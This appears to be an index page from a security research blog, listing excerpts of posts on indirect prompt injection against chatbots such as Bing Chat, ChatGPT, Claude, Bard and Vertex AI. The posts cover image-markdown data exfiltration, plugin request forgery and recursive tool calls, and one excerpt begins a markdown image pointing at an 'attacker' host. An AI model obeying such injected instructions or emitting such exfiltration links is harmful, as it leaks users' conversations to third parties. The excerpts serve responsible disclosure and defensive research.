Embrace The Red

Large Language Model (LLM) applications and chatbots are quite commonly vulnerable to data exfiltration. In particular data exfiltration via Image Markdown Injection is frequent. This post describes how Google Cloud’s Vertex AI - Generative AI Studio had this vulnerability that I responsibly disclosed and Google fixed. A big shout out to the Google Security team upfront, it took 22 minutes from report submission to receiving a confirmation from Google that this is a security issue that will be fixed.

Large Language Model (LLM) applications and chatbots are quite commonly vulnerable to data exfiltration. In particular data exfiltration via Image Markdown Injection is quite frequent. Microsoft fixed such a vulnerability in Bing Chat, Anthropic fixed it in Claude, and ChatGPT has a known vulnerability as Open AI “won’t fix” the issue. This post describes a variant in the Azure AI Playground and how Microsoft fixed it. From Untrusted Data to Data Exfiltration When untrusted data makes it into the LLM prompt context it can instruct the model to inject an image markdown element.

During an Indirect Prompt Injection Attack an adversary can exfiltrate chat data from a user by instructing ChatGPT to render images and append information to the URL (Image Markdown Injection), or by tricking a user to click a hyperlink. Sending large amounts of data to a third party server via URLs might seem inconvenient or limiting… Let’s say we want something more, aehm, powerful, elegant and exciting. ChatGPT Plugins and Exfiltration Limitations Plugins are an extension mechanism with little security oversight or enforced review process.

Last month I had the opportunity to attend HITCON in Taiwan for the first time. It’s an annual event hosted by the Hackers in Taiwan organization and CMT stands for the community version. There is a second event for enterprises later this year also - think of it like Blackhat vs Defcon in a way. Conference, Location and Registration HITCON CMT 2023 was a two day event hosted in the east side of Taipei at Academia Sinica.

What happens if an attacker calls an LLM tool or plugin recursively during an Indirect Prompt Injection? Could this be an issue and drive up costs, or DoS a system? I tried it with ChatGPT, and it indeed works and the Chatbot enters a loop! 😊 However, for ChatGPT users this isn’t really a threat, because: It’s subscription based, so OpenAI would pay the bill. There seems to be a call limit of 10 times in a single conversation turn (I tried a few times).

This video highlights the various data exfiltration vulnerabilities I discovered and responsibly disclosed to Microsoft, Anthropic, ChatGPT and Plugin Developers. It also briefly discusses mitigations various vendors put in place (and triage decisions). Thanks to MSRC, Anthropic and Zapier for addressing vulnerabilities to help protect their users. Let’s hope it inspires OpenAI to mitigate the image markdown injection issue finally as well. It’s rated as a CVSS High scored vulnerability basically and was first reported to them on April, 9th 2023 - the triage decision was “won’t fix”.

A common attack vector that LLM apps face is data exfiltration, in particular data exfiltration via Image Markdown Injection is a common vulnerability. Microsoft fixed the vulnerability in Bing Chat, ChatGPT is still vulnerable as Open AI “won’t fixed” the issue, and Anthropic just mitigated this vulnerability in Claude. This post documents the Anthropic Claude data exfiltration vulnerability and the mitigation put in place. The Vulnerability - Image Markdown Injection As a quick recap, imagine a large language model (LLM) returns the following text:

ChatGPT is vulnerable to data exfiltration via image markdown injections. This. is. pretty well known. As more features are added to ChatGPT the exfiltration angle becomes more likely to be abused. Recently OpenAI added Custom Instructions, which allow to have ChatGPT always automatically append instructions to every message exchange. An adversary can abuse this feature to install a data exfiltration backdoor that depends on, and only works because of the image markdown injection vulnerability.

A prompt injection scenario that I, and others, have been wondering about in the past, is the potential risk associated with chatbots being able to analyze images. Could this ability open up the way for Indirect Prompt Injection attacks? Recently, Google added the ability to uploading and analyze images with Bard. And it turns out that it is indeed possible to add instructions to an image, and have the Bard follow those instructions.

Google Docs is a popular word processing tool that is used by millions of people around the world. Recently Google added new AI features to Docs (and a couple of other products), such as the ability to generate summaries, and write different kinds of creative content. Check out Google Labs for more info. These features can be very helpful, but they also introduce new security risks. At the moment there are not too many degress of freedom an adversary has, but operating your AI on untrusted data can have unwanted consequences:

In the previous post we discussed the risks of OAuth enabled plugins being commonly vulnerable to Cross Plugin Request Forgery and how OpenAI is seemingly not enforcing new plugin store policies. As an example we explored how the “Chat with Code” plugin is vulnerable. Recently, a post on Reddit titled “This is scary! Posting stuff by itself” shows how a conversation with ChatGPT, out of the blue (and what appears to be by accident) created a Github Issue!

OpenAI continues to add plugins with security vulnerabilities to their store. In particular powerful plugins that can impersonate a user are not getting the required security scrutiny, or a general mitigation at the platform level. As a brief reminder, one of the challenges Large Language Model (LLM) User-Agents, like ChatGPT, and plugins face is the Confused Deputy Problem / Plugin Request Forgery Attacks, which means that during a Prompt Injection attack an adversary can issue commands to plugins to cause harm.

This post describes how I found a Prompt Injection attack angle in Bing Chat that allowed malicious text on a webpage (like a user comment or an advertisement) to exfiltrate data. The Vulnerability - Image Markdown Injection When Bing Chat returns text it can return markdown elements, which the client will render as HTML. This includes the feature to include images. Imagine the LLM returns the following text: ![data exfiltration in progress](https://attacker/logo.

To help raise awareness of Indirect Prompt Injections and other related attacks, I put together a little fun mini app that you can invoke with ChatGPT. Visit this link with GPT-4 and Browsing enabled (see Appendix, if you don’t know what that means): https://wuzzi.net/matrix The website will hijack ChatGPT via an indirect prompt injection and then allow you to enter the matrix, if you decide to do so. Note: You can’t browse to the URL, it will only respond to ChatGPT.

If you are building ChatGPT plugins, LLM agents, tools or integrations this is a must read. This post explains how the first exploitable Cross Plugin Request Forgery was found in the wild and the fix which was applied. Indirect Prompt Injections Are Now A Reality With plugins and browsing support Indirect Prompt Injections are now a reality in the ChatGPT ecosystem. The real-world examples and demos provided by others and myself to raise awarness about this increasing problem have been mostly amusing and harmless, like making Bing Chat speak like a pirate, make ChatGPT add jokes at the end or having it do a Rickroll when reading YouTube transcripts.

This post shows how a malicious website can take control of a ChatGPT chat session and exfiltrate the history of the conversation. Plugins, Tools and Integrations With plugins, data exfiltration can happen by sending too much data into the plugin in the first place. More security controls and insights on what is being sent to the plugin are required to empower users. However, this post is not about sending too much data to a plugin, but about a malicious actor who controls the data a plugin retrieves.

As discussed previously the problem of Indirect Prompt Injections is increasing. They start showing up in many places. A new unique one that I ran across is YouTube transcripts. ChatGPT (via Plugins) can access YouTube transcripts. Which is pretty neat. However, as expected (and predicted by many researches) all these quickly built tools and integrations introduce Indirect Prompt Injection vulnerabilities. Proof of Concept Here is how it looks with ChatGPT end to end with a demo example.

To learn more about Prompt Engineering and Prompt Injections I put together this tutorial + lab for myself. It is as a Jupyter Notebook to experiement and play around with this novel attack technique, learn and experiment. The examples reach from simple prompt engineering scenarios, such as changing the output message to a specific text, to more complex adversarial prompt challenges such as JSON object injection, HTML injection/XSS, overwriting mail recipients or orders of an OrderBot and also data exfiltration.

There are many prompt engineering classes and currently pretty much all examples are vulnerable to Prompt Injections. Especially Indirect Prompt Injections are dangerous as we discussed before. Indirect Prompt Injections allow untrusted data to take control of the LLM (large language model) and give an AI a new instructions, mission and objective. Bypassing Input Validation Attack payloads are natural language. This means there are lots of creative ways an adversary can inject malicious data that bypass input filters and web application firewalls.

Hack and protect Machine Learning Systems so that we don’t get stuck in the matrix! It’s been almost three years since I started the Machine Learning Attack Series, and my interest in attacking and leveraging AI and Machine Learning is unbroken. There is so much to learn and explore, particularly in bridging the gap between traditional security engineering and machine learning. As followers of this blog will know, this is an area I have been exploring in-depth over the past few years.